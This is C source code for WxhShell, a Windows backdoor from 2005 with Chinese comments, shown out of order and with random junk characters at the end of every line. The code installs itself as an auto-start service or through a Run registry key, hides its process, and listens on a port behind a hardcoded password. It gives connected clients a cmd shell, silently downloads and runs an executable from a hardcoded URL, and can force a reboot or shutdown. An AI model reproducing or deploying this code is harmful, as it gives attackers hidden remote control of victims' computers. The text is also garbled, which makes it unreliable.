  // 关机 ZXPX,~ 5o  
  case 'd': { p!AAFmc  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); J C}D` h  
    if(Boot(SHUTDOWN)) |-~Y#]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Pr C{'XDlU  
    else { y$M%2mh`  
    closesocket(wsh); =:U`k0rn!  
    ExitThread(0); +:/%3}`  
    } :7;@ZEe  
    break; as =fCuJ  
    } %^6F_F_jS  
  // 获取shell {?7Uj  
  case 's': { w_VP J  
    CmdShell(wsh); 0JujesUw(  
    closesocket(wsh); Zx>=tx}  
    ExitThread(0); ;8 lfOMf  
    break; vW@=<aS Z  
  } Y8t8!{ytg  
  // 退出 ?:9"X$XR  
  case 'x': { 8zq=N#x  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); sNFlKQ8)Q  
    CloseIt(wsh); $<[79al#  
    break; 4s oJ.j8  
    } *lJxH8\  
  // 离开 J] r^W)O  
  case 'q': { ?+8\.a!  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); uCB=u[]y4  
    closesocket(wsh); ;722\y(Y  
    WSACleanup(); z\4.Gm-  
    exit(1); `uTmw^pZX  
    break; >+T)#.wo&  
        } f* wx<  
  } fI|$K )K  
  } +LJ73 !  
4?01s-Y  
  // 提示信息 L-&\\{ X  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _,*r_D61S  
} KqP#6^ _  
  } )=(kBWM  
M869MDo  
  return; *qpSXmOz  
} M)(DZ}  
oxtay7fx  
// shell模块句柄  LFV%&y|L  
int CmdShell(SOCKET sock)  05^h"  
{ /BL4<T f  
STARTUPINFO si; tX~w{|k  
ZeroMemory(&si,sizeof(si)); cm+P]8o%{  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; dDGQ`+H9  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 1=v*O.XW`  
PROCESS_INFORMATION ProcessInfo; =-Ck4e *T  
char cmdline[]="cmd"; 62NsJ<#>  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); PQE =D0  
  return 0; DVeE1Q  
} A]3k4DLYS  
PZzMHK?hP  
// 自身启动模式 iU:cW=W|M\  
int StartFromService(void) !bP@n  
{ {K!)Ss  
typedef struct o{[qZc_%  
{ z0 Z%m@  
  DWORD ExitStatus; 7-V/RChBm  
  DWORD PebBaseAddress; !p/goqT~dY  
  DWORD AffinityMask; .jK4?}]  
  DWORD BasePriority; tT._VK]o&R  
  ULONG UniqueProcessId; =i3n42M#  
  ULONG InheritedFromUniqueProcessId; EiaW1Cs  
}   PROCESS_BASIC_INFORMATION; wdoR%b{M  
qxJ\ye+'*  
PROCNTQSIP NtQueryInformationProcess; .X;K%J2  
uEx-]F  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; YchH~m|  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; #rg6,.I)<  
{\\T gs  
  HANDLE             hProcess; U%/+B]6jP  
  PROCESS_BASIC_INFORMATION pbi; -ze J#B)C  
R^e'}+Z  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); K.yb ^dg5  
  if(NULL == hInst ) return 0; _WbxH  
(QiAisE  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); O.JN ENZf  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); H0cA6I  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); %SUQ9\SEs  
bs1Rvx1:J%  
  if (!NtQueryInformationProcess) return 0; ;9'OOz|+1  
. 'yCw#f  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $`'/+x"%  
  if(!hProcess) return 0; ^/k*h J{  
:2)/FPL6  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; d0 /#nz  
Z #m+ObHK1  
  CloseHandle(hProcess); .o}v#W+st  
G]aOHJ:.  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); kvj#c  
if(hProcess==NULL) return 0; U`s{Jm  
W(/h Vt  
HMODULE hMod; HLi%%"'  
char procName[255]; (4-CF3D  
unsigned long cbNeeded; CTA 3*Gn  
( uidNq  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); h FBe,'3M  
] }X  
  CloseHandle(hProcess); J?$,c4;W2  
a-J.B.A$Z/  
if(strstr(procName,"services")) return 1; // 以服务启动 Yz93'HDB  
-D~%|).'  
  return 0; // 注册表启动 |vzl. ^"-  
} K~ EmD9  
v(%*b,^  
// 主模块 -H-~;EzU  
int StartWxhshell(LPSTR lpCmdLine) r,2g^ K)6  
{ rQ snhv  
  SOCKET wsl; '}#9)}x!  
BOOL val=TRUE; Ef{Vp;]  
  int port=0; UR5`ue ;  
  struct sockaddr_in door; ;xn0;V'=  
J4U1t2@)9  
  if(wscfg.ws_autoins) Install(); [opGZ`>)j"  
;]:@n;c\  
port=atoi(lpCmdLine); caX< n>  
h!9ei6  
if(port<=0) port=wscfg.ws_port; _u9Jxw?F@Y  
}l9llu   
  WSADATA data; T&7qC=E#5  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; |(^PS8wG  
11;zNjD|  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   @`Su0W+.  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); % %UE+u @J  
  door.sin_family = AF_INET; Y\'}a+:@Ph  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); +x}<IS8  
  door.sin_port = htons(port); Fv`,3aNB  
X#;bh78&-  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Ilm^G}GB  
closesocket(wsl); Rbv;?'O$L  
return 1; ;YL i{  
} ?!/kZM_ts  
%vi83%$'4  
  if(listen(wsl,2) == INVALID_SOCKET) { BING{ew  
closesocket(wsl); El"Q'(:/U  
return 1; LBP`hK:>W~  
} ?=pT7M  
  Wxhshell(wsl); Yc*; /T}  
  WSACleanup(); K\c#ig   
BTrn0  
return 0; ;i+#fQO7Q  
P=G3:eX  
} uWE^hz"  
lks!w/yCF  
// 以NT服务方式启动 8, >P  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) )wh A<lC  
{ "kqPmeI  
DWORD   status = 0; hP&B t  
  DWORD   specificError = 0xfffffff; U~7c+}:c  
ufT`"i  
  serviceStatus.dwServiceType     = SERVICE_WIN32; m&yJzMW|  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; '1/i"yoW  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; |$_sX9\`?|  
  serviceStatus.dwWin32ExitCode     = 0; @U}1EC{A  
  serviceStatus.dwServiceSpecificExitCode = 0; H} g{Cr"Ex  
  serviceStatus.dwCheckPoint       = 0; |LKXOU c  
  serviceStatus.dwWaitHint       = 0; DM>eVS3}  
VVOd]2{  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 3sZ\0P}   
  if (hServiceStatusHandle==0) return; ,s;Uf F  
.#pU=v#/[  
status = GetLastError(); G,w(d@  
  if (status!=NO_ERROR) Thit  
{ VY\&8n}e(  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; q> C'BIr  
    serviceStatus.dwCheckPoint       = 0; Mf``_=K  
    serviceStatus.dwWaitHint       = 0; (dSL7nel;L  
    serviceStatus.dwWin32ExitCode     = status; @f_+=}|dc  
    serviceStatus.dwServiceSpecificExitCode = specificError; [ !OxZ!  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); |ZBI *  
    return; #Mw8^FST  
  } "snw4if  
@F*%9LPv  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; AYx{U?0p  
  serviceStatus.dwCheckPoint       = 0; )K    
  serviceStatus.dwWaitHint       = 0; pyvSwD5t  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); HyWCMK6b  
} h.t-`k7  
E< fVZ,  
// 处理NT服务事件,比如:启动、停止 \)|hogI|f  
VOID WINAPI NTServiceHandler(DWORD fdwControl) !C: $?oU  
{ M =r)I~  
switch(fdwControl) 5XB H$&Td  
{ J7p),[>I<  
case SERVICE_CONTROL_STOP: [cp+i^f  
  serviceStatus.dwWin32ExitCode = 0; J/*`7Pd  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; gB'6`'  
  serviceStatus.dwCheckPoint   = 0; Q'0d~6n&{  
  serviceStatus.dwWaitHint     = 0; E?0%Z&1h  
  { | %Vh`HT  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); XOS[No~  
  } @MCg%Afw  
  return; ,nm*q#R,0  
case SERVICE_CONTROL_PAUSE: [q #\D  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; C~iL3C b  
  break; Dm<A ^u8  
case SERVICE_CONTROL_CONTINUE: n6a`;0f[R  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 04=c-~&q  
  break; ^ r,=vO  
case SERVICE_CONTROL_INTERROGATE: y h9*z3  
  break; 9qG6Pb  
}; Jg| XH L)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); b1?'gn~  
} S|`o]?nc>  
dlTt _.  
// 标准应用程序主函数 )hfpwdQ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) u4 h4.NHX  
{ <W$mj04@  
Z?m3~L9L2  
// 获取操作系统版本 `+Q%oj#FF  
OsIsNt=GetOsVer(); ]GQG~ H^  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Q$@I"V&G.  
%8~NqS|=  
  // 从命令行安装  a!AA]  
  if(strpbrk(lpCmdLine,"iI")) Install(); SI-Ops~e  
'SF<_aS(  
  // 下载执行文件 ^ (zYzd  
if(wscfg.ws_downexe) { W9GVt$T7  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %d<"l~<5;  
  WinExec(wscfg.ws_filenam,SW_HIDE); 7O-x<P;  
} _zi|  
WEi2=3dV  
if(!OsIsNt) { SNI)9k(T{  
// 如果时win9x,隐藏进程并且设置为注册表启动 Hja3a{LH  
HideProc(); nc|p)  
StartWxhshell(lpCmdLine); G*P#]eO  
} X_\otV h(D  
else '16b2n+F@#  
  if(StartFromService()) V[Ui/M!9Z  
  // 以服务方式启动 ,1o FPa{?  
  StartServiceCtrlDispatcher(DispatchTable); OYTkV}tG  
else 5C5sgR C  
  // 普通方式启动 b}TS0+TF  
  StartWxhshell(lpCmdLine); JrRH\+4K  
j HJ`,#  
return 0; u5f9Jw}  
} j\^CV?}sm'  
a HR"n|7{  
y/ ef>ZZ  
Gu\q%'I  
=========================================== !." D]i;  
;@Y;g(bw:  
338k?nHxv  
n8ZZ#}Nhg  
q'Tf,a  
_.Uh)-yR  
" %aVq+kC h  
x-&@wMqkc  
#include <stdio.h> |H+UOEiv,p  
#include <string.h> 8NAON5.!  
#include <windows.h> PBTnIU  
#include <winsock2.h> CN8Y\<Ar  
#include <winsvc.h> *mvlb (' &  
#include <urlmon.h> l?n\i]'  
JO6)-U$7UG  
#pragma comment (lib, "Ws2_32.lib") ]K,Tnyp  
#pragma comment (lib, "urlmon.lib") 9Y_HyOZ*GX  
9N 3o-=  
#define MAX_USER   100 // 最大客户端连接数 p]2128kqx  
#define BUF_SOCK   200 // sock buffer >V8-i`  
#define KEY_BUFF   255 // 输入 buffer )cMh0SGcM1  
-**g~ty)  
#define REBOOT     0   // 重启 Wf>R&o6tr  
#define SHUTDOWN   1   // 关机 7} 5JDG  
68C%B9.b'  
#define DEF_PORT   5000 // 监听端口 |"CZT#  
5(Q%XQV*P  
#define REG_LEN     16   // 注册表键长度 y,,dCca  
#define SVC_LEN     80   // NT服务名长度 -ifFbT+x  
4yA+ h2  
// 从dll定义API 0rs"o-s<  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;RPx^X~  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); j/c&xv 7=  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Sp]0c[37R  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); eiaFaYe\  
XW)lDiJl  
// wxhshell配置信息 o~y;j75{.*  
struct WSCFG { c2 C8g1n  
  int ws_port;         // 监听端口 ['tY4$L(  
  char ws_passstr[REG_LEN]; // 口令 4*cEag   
  int ws_autoins;       // 安装标记, 1=yes 0=no w;:*P  
  char ws_regname[REG_LEN]; // 注册表键名 }-2 2XYh  
  char ws_svcname[REG_LEN]; // 服务名 nBSYsp{  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 t pQ(g%  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 YWO)HsjP  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 bI9~jWgGp  
int ws_downexe;       // 下载执行标记, 1=yes 0=no TpwkD_fg  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ^7WN{0  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 kxIF#/8  
a P@N)"  
}; [uN? ~lp\%  
=Toy Zm\  
// default Wxhshell configuration >7T'OC  
struct WSCFG wscfg={DEF_PORT, h_3E)jc  
    "xuhuanlingzhe", fW1CFRHH  
    1, a:OQGhc=  
    "Wxhshell", ~1AgD-:Jz  
    "Wxhshell", `MN4uC  
            "WxhShell Service", ,77d(bR<  
    "Wrsky Windows CmdShell Service", CXx*_@}MU  
    "Please Input Your Password: ", $AjHbU.I{  
  1, Ed df2;-.  
  "http://www.wrsky.com/wxhshell.exe", ?(F6#"/E  
  "Wxhshell.exe" ,pQZ@I\z  
    }; cO+qs[ BQ  
k&vz 7Q`T  
// 消息定义模块 2,b(,3{`4:  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; BLf>_b Uk  
char *msg_ws_prompt="\n\r? for help\n\r#>"; h# o6K#  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; g63(E,;;J  
char *msg_ws_ext="\n\rExit."; XZ]uUP  
char *msg_ws_end="\n\rQuit."; -4IE]'##  
char *msg_ws_boot="\n\rReboot..."; +RMSA^  
char *msg_ws_poff="\n\rShutdown..."; i0kak`x0  
char *msg_ws_down="\n\rSave to "; }t=!(GOb}  
A,Vu\3HS  
char *msg_ws_err="\n\rErr!"; ub#a`  
char *msg_ws_ok="\n\rOK!"; CMG&7(MR  
}Gm>`cw-  
char ExeFile[MAX_PATH]; S8wLmd>  
int nUser = 0; DIfaVo/"  
HANDLE handles[MAX_USER]; ^]0Pfna+N  
int OsIsNt; :tB1D@Cb6  
c&?m>2^6  
SERVICE_STATUS       serviceStatus; Sc1 8dC0  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; gpvYb7Of0  
kY|utoAP  
// 函数声明 H.|#c^I  
int Install(void); (Ag1 6  
int Uninstall(void); FF(#]vz'  
int DownloadFile(char *sURL, SOCKET wsh); `O!X((  
int Boot(int flag); /h H  
void HideProc(void); lH x^D;m6  
int GetOsVer(void); Kp~VS<3  
int Wxhshell(SOCKET wsl); SpLzm A  
void TalkWithClient(void *cs); rv^@,8vq  
int CmdShell(SOCKET sock); n&;85IF1  
int StartFromService(void); TA`1U;c{n  
int StartWxhshell(LPSTR lpCmdLine); =_ ./~  
bz2ztH9 n  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); i$:*Pb3mV  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ;!mzyb*  
L:pYn_  
// 数据结构和表定义 qYjce]c  
SERVICE_TABLE_ENTRY DispatchTable[] = vrhT<+q  
{ gx8ouOh  
{wscfg.ws_svcname, NTServiceMain}, +\c5]`  
{NULL, NULL} Bs_s&a>  
}; :bu/^mW[  
P}y +G|  
// 自我安装 +>Qq(Y  
int Install(void) 0w \zLU  
{ %S@ZXf~:  
  char svExeFile[MAX_PATH]; \K{0L  
  HKEY key; QQ*hCyw!  
  strcpy(svExeFile,ExeFile); vv3* j&I  
0d"[l@UU0  
// 如果是win9x系统,修改注册表设为自启动 7$vYo _  
if(!OsIsNt) { a LroD$#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { mPtZO*Fc  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); EyD=q! ZVZ  
  RegCloseKey(key); q77;ZPfs8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { jk; clwyz/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +,T RfP Fb  
  RegCloseKey(key); 6S'yZQ |b  
  return 0; ? Wr+Q  
    } b9KP( _  
  } 3LJ+v5T~  
} 1#V_Z^OL  
else { DnMwUykF>0  
Sz)' ogl  
// 如果是NT以上系统,安装为系统服务 0_95|3kc  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); =)H.c uc  
if (schSCManager!=0) w(*vj  
{ '8RsN-w  
  SC_HANDLE schService = CreateService Bw)/DM]  
  ( (>UZ<2GPL  
  schSCManager, 2\A$6N ;_  
  wscfg.ws_svcname, UUYSFa %  
  wscfg.ws_svcdisp, g|DF[  
  SERVICE_ALL_ACCESS, N=T<_`$5  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , RE7?KR>  
  SERVICE_AUTO_START, t9kzw*U9  
  SERVICE_ERROR_NORMAL, $k@O`xD,q  
  svExeFile, ??-[eB.  
  NULL, 25nt14Y 0u  
  NULL, <y2U3; t  
  NULL, (^8Y|:Tz  
  NULL, o]J{{M'E  
  NULL P_dCR  
  ); u<7/0;D#+  
  if (schService!=0) }l(&}#dY  
  { Gv!2f  
  CloseServiceHandle(schService); ~NrG` D}  
  CloseServiceHandle(schSCManager); EnKR%Ctw  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 'NXN& {  
  strcat(svExeFile,wscfg.ws_svcname); ?/wm(uL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { )0.kv2o.  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); }>pknc?  
  RegCloseKey(key); 8O5s`qKMYT  
  return 0; ]}<}lI9  
    } fIx+IL s  
  } 4x=v?g&  
  CloseServiceHandle(schSCManager); %B2'~|g  
} $-OA'QwB]  
} BM%e0n7  
APn|\  
return 1; m)ky*"(  
} :[p}  
59LZv-l  
// 自我卸载 )al]*[lY  
int Uninstall(void) VZp5)-!\  
{ !_]Y~[  
  HKEY key; ''A_[J `>  
2@n{yYwy  
if(!OsIsNt) { [`#CXq'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { O%WIf__Q  
  RegDeleteValue(key,wscfg.ws_regname); 1![!+X:w  
  RegCloseKey(key); e/KDw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !fV+z%:  
  RegDeleteValue(key,wscfg.ws_regname); Avge eJi  
  RegCloseKey(key); O W_{$9U  
  return 0; |PvPAPy)uu  
  } vONasD9At  
} .wEd"A&j  
} 9%o 32eo,3  
else { +xh`Q=A  
L4@K~8j7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); B?eCe}*f;B  
if (schSCManager!=0) zq 3\}9  
{ !j8FIY'[  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); wjU9ZGM  
  if (schService!=0) GL>O4S<`  
  { \#8D>i?m  
  if(DeleteService(schService)!=0) { AVsDt2A  
  CloseServiceHandle(schService); pQyK={7?`  
  CloseServiceHandle(schSCManager); b <tNk]7  
  return 0; S*,17+6dV  
  } sf:,qD=z  
  CloseServiceHandle(schService); !4ocZmj\  
  } KaLzg5is  
  CloseServiceHandle(schSCManager); Z\(q@3C  
} -vAC"8)S  
} j"8ZM{aO  
SpIv#?  
return 1; [$ubNk;!z  
} z{%<<pZ  
@f_Lp%K  
// 从指定url下载文件 I }a`0Y&{  
int DownloadFile(char *sURL, SOCKET wsh) ")1:F>  
{ o@_q]/Mh  
  HRESULT hr; y B81f  
char seps[]= "/"; ~T"Rw2v b  
char *token; H9Gh>u]}  
char *file; RF?`vRZOe  
char myURL[MAX_PATH]; sbfuzpg]*  
char myFILE[MAX_PATH]; O0*p0J  
F;Spi  
strcpy(myURL,sURL); `_6C {<O  
  token=strtok(myURL,seps); H-!,yte  
  while(token!=NULL) 8 v6(qBK  
  { 6lZ3tdyNo  
    file=token; &Gc9VF]o  
  token=strtok(NULL,seps); (fhb0i-  
  } 4V"E8rUL(  
zF@/K`  
GetCurrentDirectory(MAX_PATH,myFILE); h 7*J9[$  
strcat(myFILE, "\\"); A\*>TN>s  
strcat(myFILE, file); Ky`qskvu  
  send(wsh,myFILE,strlen(myFILE),0); =?5]()'*n  
send(wsh,"...",3,0); b.Os iT;_j  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); h<h%*av|  
  if(hr==S_OK) (Nq=H)cm8  
return 0; p . %]Q*8  
else #]-SJWf3  
return 1; lPe&h]@ >  
JB\UKZXw  
} [ XN={  
NYhB'C2  
// 系统电源模块 RV1coC.g4x  
int Boot(int flag) 44J]I\+  
{ Mg+2. 8%  
  HANDLE hToken; YByLoM*  
  TOKEN_PRIVILEGES tkp; +l42Awl>K  
.S EdY:  
  if(OsIsNt) { V_)-#=J  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ),_@WW;k  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); uIY#e<)}G  
    tkp.PrivilegeCount = 1; n5|fHk^s  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; O4 w(T  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); |o7[|3:M  
if(flag==REBOOT) { xKbXt;l2  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) r[e##M  
  return 0; (xycJ`N  
} ?C]vS_jAh  
else { >:SHV W  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) PhLn8jNti  
  return 0; ]iVcog"T  
} 2y75  
  } x exaQuK  
  else { )',R[|<  
if(flag==REBOOT) { {.`vs;U  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) @?ebuj5{e  
  return 0; ]IaMp788  
} ~"gA,e-)  
else { rV.}PtcFY  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ` #0:gEo  
  return 0; ;J'LS  
} 1> ?M>vK  
} n>z9K')  
xl{=Y< ;  
return 1; 5#6|j?_a  
} :x3QRF  
t}_r]E,{u  
// win9x进程隐藏模块 cx,+k]9D  
void HideProc(void) 39c2pV[  
{ *YI98  
yHYsZ,GE  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); #Bze,?@  
  if ( hKernel != NULL ) UhF-K#Z9  
  { 5{TsiZh4  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Brw@g8w-X  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); kb%;=t2  
    FreeLibrary(hKernel); A.F%Ycq  
  } IuDS*/Sx  
?Rb9|`6  
return; T}Tp$.gB  
} 3=#<X-);  
|o"?gB}Dh  
// 获取操作系统版本 2F;y;l%  
int GetOsVer(void) QP==?g3  
{ JBj]najN  
  OSVERSIONINFO winfo; xh-o}8*n"  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); z9f-.72"X  
  GetVersionEx(&winfo); /A\8 mL8  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) (le9q5Qr.  
  return 1; Bg=wKwc8  
  else =}^9 wP  
  return 0; AD> e?u  
} uo:J\E  
qw301]y  
// 客户端句柄模块 3ZuZ/=  
int Wxhshell(SOCKET wsl) b1q"!+8y  
{ j8i[ONq^  
  SOCKET wsh; >IafUy  
  struct sockaddr_in client; te`$%NRl  
  DWORD myID; W ~<^L\Lu  
AOZP*\k  
  while(nUser<MAX_USER) Y;eZ9|Ht9  
{ [|wZ77\  
  int nSize=sizeof(client); Z{.8^u1I  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); NSMyliM1Y  
  if(wsh==INVALID_SOCKET) return 1; ZmqKQO  
wVXS%4|v  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); &<g|gsG`  
if(handles[nUser]==0) >gQ>1Bwvi  
  closesocket(wsh); *tFHM &a  
else u]wZQl#-  
  nUser++; .8g)av+  
  } ~%F9%=  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); !.$I["/=  
CZe ]kXNv  
  return 0; .~db4d]  
} KM0ru  
X56q-|  
// 关闭 socket wo}H'Q}Hj  
void CloseIt(SOCKET wsh) }v;V=%N+v  
{ ~G p [_ %K  
closesocket(wsh); .<?GS{6 N  
nUser--; UXz<)RvB  
ExitThread(0); Mexk~z A^  
} ;a!S!% .h  
P{`C^W$J^  
// 客户端请求句柄 M7\szv\Zc=  
void TalkWithClient(void *cs) fm%t^)E  
{ A|[?#S((]  
@u+]aI!`-  
  SOCKET wsh=(SOCKET)cs; eeg)N1\  
  char pwd[SVC_LEN]; fb7;|LF  
  char cmd[KEY_BUFF]; G>_*djUf  
char chr[1]; ]#<4vl\  
int i,j; ]EbM9Fo-U  
 7Die FZ?  
  while (nUser < MAX_USER) { eIF5ZPSZi  
?,Xw[pR  
if(wscfg.ws_passstr) { ;O5zUl-`  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ty\R=y}}  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;C#F>SG\S  
  //ZeroMemory(pwd,KEY_BUFF); +480 l}  
      i=0; ,pfG  
  while(i<SVC_LEN) { M^Yh|%M  
P:S.~Jq  
  // 设置超时 uc{Ihw  
  fd_set FdRead; g/_5unI}u  
  struct timeval TimeOut; ~At7 +F[  
  FD_ZERO(&FdRead); XW H5d-  
  FD_SET(wsh,&FdRead); QZwNw;$k*  
  TimeOut.tv_sec=8; hag$GX'2k  
  TimeOut.tv_usec=0; c ]-<vkpV  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Ny7S  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); y7cl_rK  
/<k/7TF`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (/YHk`v2  
  pwd=chr[0]; =J==i?  
  if(chr[0]==0xd || chr[0]==0xa) { !,uE]gwLw  
  pwd=0; e]aDP 1n3t  
  break; wm@@$  
  } G>=*yqo  
  i++; rKc9b<Ir  
    } l30EKoul)  
Wi<m{.%\E  
  // 如果是非法用户,关闭 socket =s{>Fsm1  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); *Q.>-J<S  
} =BeygT^  
Jr4Ky<G_i  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); uZYF(Yu  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }tu C}  
t3ZOco@~P  
while(1) { XJB)rP  
gg/-k;@ Rf  
  ZeroMemory(cmd,KEY_BUFF); iVr JQ  
^CH=O|8j  
      // 自动支持客户端 telnet标准   8d{0rqwNE  
  j=0; L{\8!51L  
  while(j<KEY_BUFF) { Hio0HL-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); S+6.ZZ9c  
  cmd[j]=chr[0]; ,THw"bm  
  if(chr[0]==0xa || chr[0]==0xd) { *a^(vo   
  cmd[j]=0; B mb0cF Q  
  break; V &T~zh1  
  } m7V/zne  
  j++; w.o@7|B1N  
    } W i.& e  
VGN5<?PrN  
  // 下载文件 !|uWH  
  if(strstr(cmd,"http://")) { `RW HN/U  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Uc>lGo1j  
  if(DownloadFile(cmd,wsh)) Z\rwO>3  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4"ZP 'I;  
